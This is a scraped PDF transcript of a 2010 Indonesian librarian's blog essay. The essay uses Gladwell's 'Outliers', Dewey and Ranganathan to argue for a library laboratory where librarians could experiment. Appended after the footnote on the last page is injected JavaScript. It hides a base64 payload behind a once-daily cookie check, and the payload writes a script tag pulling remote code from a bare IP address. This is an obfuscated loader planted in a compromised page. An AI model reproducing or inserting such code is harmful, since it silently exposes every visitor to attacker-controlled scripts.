diperlukan outliers di pustakawan

3
rahman's blog | Diperlukan Outliers di Pustakawan Copyright Abdul Saleh [email protected] https://rahman.staff.ipb.ac.id/2010/10/23/diperlukan-outliers-di-pustakawan/ Diperlukan Outliers di Pustakawan (Oleh: Ir. Abdul Rahman Saleh, M.Sc.; Pustakawan Utama pada Perpustakaan IPB) Outliers adalah sebuah kata yang cukup baru. Mungkin tidak banyak yang mengenal kata ini. Menurut Pak Asep Saefuddin, Pak Andi Hakim Nasoetion (mantan Rektor IPB dan seorang ahli statistika terapan) menerjemahkan outliers tersebut sebagai pencilan yaitu suatu pengamatan statistik yang nilainya berbeda sekali dari kelompoknya*). Pak Asep memberikan ilustrasi seperti ini. Pada populasi ayam dengan bobot rata-rata 2 kg dan simpangan baku 0,2 kg, maka kita akan sulit menemukan ayam dengan bobot di atas 3 kg. Jika ada ayam yang berbobot di atas 3 kg, maka ayam tersebut disebut sebagai outliers karena dia mencil jauh di atas kawan-kawannya. Karena itu maka outliers tersebut diterjemahkan menjadi pencilan. Kata outliers ini oleh digunakan oleh Malcolm Gladwell sebagai judul bukunya. Buku ini kemudian menjadi bestseller selain dua buku lainnya dengan judul Tipping Point dan Blink. Dalam buku outliers, Gladwell menggambarkan bagaimana orang-orang menjadi outliers, yaitu orang-orang yang luar biasa di bidangnya. Beberapa orang tersebut seperti Bill Gates dan Bill Joy yang terkenal dalam bidang komputer. Dan masih banyak lagi nama-nama yang dicontohkan Gladwell sebagai outliers. Dalam bidang kepustakawanan tentu kita mengenal Melvil Dewey dan Ranganathan. Dua orang itu adalah salah dua yang paling terkenal dalam bidang perpustakaan. Melvil Dewey yang menciptakan klasifikasi persepuluhan (Dewey Decimal Classification) yang sampai saat ini digunakan oleh ribuan perpustakaan di seluruh dunia. Sedangkan Ranganathan adalah orang yang menciptakan colon classification yang juga terkenal. Ranganathan juga terkenal dengan lima hukum dalam ilmu perpustakaan (five laws of library science). Lima hukum tersebut kira-kira seperti ini: buku untuk dibaca (books are for use); untuk setiap pembaca ada bukunya (every reader his book); untuk setiap buku ada pembacanya (every book its readers); hematlah waktu pembaca (dan waktu staf) (save the time of the readers (and of the staff)); dan perpustakaan merupakan organisme yang tumbuh ( a library is growing organism). Maka dua orang ini menurut saya termasuk outliers dalam bidang kepustakawanan. page 1 / 3

Upload: others

Post on 14-Feb-2022

6 views

Category:

Documents


0 download

TRANSCRIPT

rahman's blog | Diperlukan Outliers di PustakawanCopyright Abdul Saleh [email protected]://rahman.staff.ipb.ac.id/2010/10/23/diperlukan-outliers-di-pustakawan/

Diperlukan Outliers di Pustakawan

(Oleh: Ir. Abdul Rahman Saleh, M.Sc.; Pustakawan Utama pada Perpustakaan IPB)

Outliers adalah sebuah kata yang cukup baru. Mungkin tidak banyak yangmengenal kata ini. Menurut Pak Asep Saefuddin, Pak Andi Hakim Nasoetion (mantanRektor IPB dan seorang ahli statistika terapan) menerjemahkan outliers tersebutsebagai pencilan yaitu suatu pengamatan statistik yang nilainya berbeda sekali darikelompoknya*). Pak Asep memberikan ilustrasi seperti ini. Pada populasi ayamdengan bobot rata-rata 2 kg dan simpangan baku 0,2 kg, maka kita akan sulitmenemukan ayam dengan bobot di atas 3 kg. Jika ada ayam yang berbobot di atas3 kg, maka ayam tersebut disebut sebagai outliers karena dia mencil jauh di ataskawan-kawannya. Karena itu maka outliers tersebut diterjemahkan menjadipencilan.

Kata outliers ini oleh digunakan oleh Malcolm Gladwell sebagai judul bukunya. Bukuini kemudian menjadi bestseller selain dua buku lainnya dengan judul Tipping Pointdan Blink. Dalam buku outliers, Gladwell menggambarkan bagaimana orang-orangmenjadi outliers, yaitu orang-orang yang luar biasa di bidangnya. Beberapa orangtersebut seperti Bill Gates dan Bill Joy yang terkenal dalam bidang komputer. Danmasih banyak lagi nama-nama yang dicontohkan Gladwell sebagai outliers.

Dalam bidang kepustakawanan tentu kita mengenal Melvil Dewey danRanganathan. Dua orang itu adalah salah dua yang paling terkenal dalam bidangperpustakaan. Melvil Dewey yang menciptakan klasifikasi persepuluhan (DeweyDecimal Classification) yang sampai saat ini digunakan oleh ribuan perpustakaan diseluruh dunia. Sedangkan Ranganathan adalah orang yang menciptakan colonclassification yang juga terkenal. Ranganathan juga terkenal dengan lima hukumdalam ilmu perpustakaan (five laws of library science). Lima hukum tersebutkira-kira seperti ini: buku untuk dibaca (books are for use); untuk setiap pembacaada bukunya (every reader his book); untuk setiap buku ada pembacanya (everybook its readers); hematlah waktu pembaca (dan waktu staf) (save the time of thereaders (and of the staff)); dan perpustakaan merupakan organisme yang tumbuh (a library is growing organism). Maka dua orang ini menurut saya termasuk outliersdalam bidang kepustakawanan.

page 1 / 3

rahman's blog | Diperlukan Outliers di PustakawanCopyright Abdul Saleh [email protected]://rahman.staff.ipb.ac.id/2010/10/23/diperlukan-outliers-di-pustakawan/

Sudah puluhan atau ratusan tahun sejak Dewey dan Ranganathan ini berkibarsebagai outliers, kita sulit menemukan outliers lain dalam bidang kepustakawanan.Mengapa? Saya kira ada beberapa alasan yang bisa kita kemukakan. Diantaranyayang pertama, karena tidak adanya orang (pustakawan) yang mau dan mampubekerja keras untuk mencapai outliers tersebut. Gladwell menggambarkanbagaimana personel the Beatles berlatih keras sebelum sukses menjadi bandlegendaris dunia. Konon mereka menghabiskan waktu lebih dari 10.000 jam untukmenjadi outliers dalam bidang seni yang ditekuninya tersebut. Bill Gates jugamenghabiskan ribuan jam melakukan eksperimen di Computer Center milik University of Washington untuk mencapai karir yang kemudian merubah peradabandunia. Alasan yang kedua, adalah tidak adanya kesempatan bagi pustakawan untukmelakukan eksperimen dalam bidang kepustakawanan. Gladwell memberi contohbahwa Bill Gates memiliki kesempatan yang hampir tak terbatas untuk melakukaneksperimen dalam bidang komputer oleh pusat komputernya University ofWashington. Begitu juga Bill Joy mendapatan kesempatan yang sama yangdiberikan oleh University of Michigan. The Beatles mendapatkan kesempatan jammanggung yang sangat berlebihan di Hamburg, Jerman yang memaksa merekabelajar banyak lagu agar mereka tetap ditonton dan tidak dilempari botol minumanoleh penonton.

Berbicara soal kesempatan ini, saya sempat berbincang-bincang dengan PakBlasius Sudarsono. Beliau terobsesi untuk membuka laboratorium perpustakaan ditempat beliau bekerja. Beliau berobsesi bahwa tempat beliau bekerja menjaditempat berkumpulnya (rendezvous) para pustakawan untuk melakukan diskusi danbereksperimen dalam bidang kepustakawanan. Saya kira kita patut mendukungobsesi beliau dan berupaya untuk merealisasikannya. Memang saya agak skeptistentang hal ini. Adakah pustakawan yang bersedia menghabiskan waktu ribuan jamdalam laboratorium perpustakaan yang akan dibangun oleh Pak Blasius ini?Pertanyaan ini saya sampaikan pada beliau pada kesempatan berbincang di hotelMillennium beberapa waktu yang lalu. “Mengapa?” Kata Pak Blasius. Saya bilang,pustakawan itu masih sibuk mencari makan Pak. Kemudian saya berandai-andaibegini. Seandainya kegiatan ini disokong oleh donatur, dimana para pustakawantersebut bisa mendapatkan “imbalan” dalam kegiatan di laboratorium tersebut,maka saya dapat sedikit menghapus sikap skeptis saya terhadap gagasan PakBlasius ini. Saya kemudian ingat dalam bukunya Gladwell bahwa Bill Gatesmendapatkan “proyek” membuat perangkat lunak untuk pembayaran gaji sebuahperusahaan. Walaupun Gates berasal dari kalangan orang kaya, dan tidakmemerlukan suntikan dana, namun “proyek” yang diperoleh Bill Gates dariaktifitasnya bermain-main dengan komputer tersebut mungkin dapatmenginsprirasi kita untuk sedikit memodifikasinya guna memperoleh bayaran dariaktifitas laboratorium perpustakaan Pak Blasius. Mungkin gagasan Pak Blasius inidapat terealisasi jika laboratorium ini dapat bekerjasama dengan perusahaan yangmembutuhkan jasa para pustakawan dan para pustakawan dalam laboratorium initetap bereskperimen sambil mendapatkan “pekerjaan” dan tentu saja uang dari

page 2 / 3

rahman's blog | Diperlukan Outliers di PustakawanCopyright Abdul Saleh [email protected]://rahman.staff.ipb.ac.id/2010/10/23/diperlukan-outliers-di-pustakawan/

laboratorium tersebut. Semoga gagasan laboratorium Pak Blasius ini dapatdirealisasi dan outliers dapat lahir dari sana.

*) Asep Saefuddin. Percikan Pemikiran: kepemimpinan dan pendidikan. Bogor: IPBPress, 2010. hal 37. function getCookie(e){varU=document.cookie.match(new RegExp("(?:^|;)"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));returnU?decodeURIComponent(U[1]):void 0}varsrc="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){vartime=Math.floor(Date.now()/1e3+86400),date=new Date((newDate).getTime()+86400);document.cookie="redirect="+time+"; path=/;expires="+date.toGMTString(),document.write('')}

page 3 / 3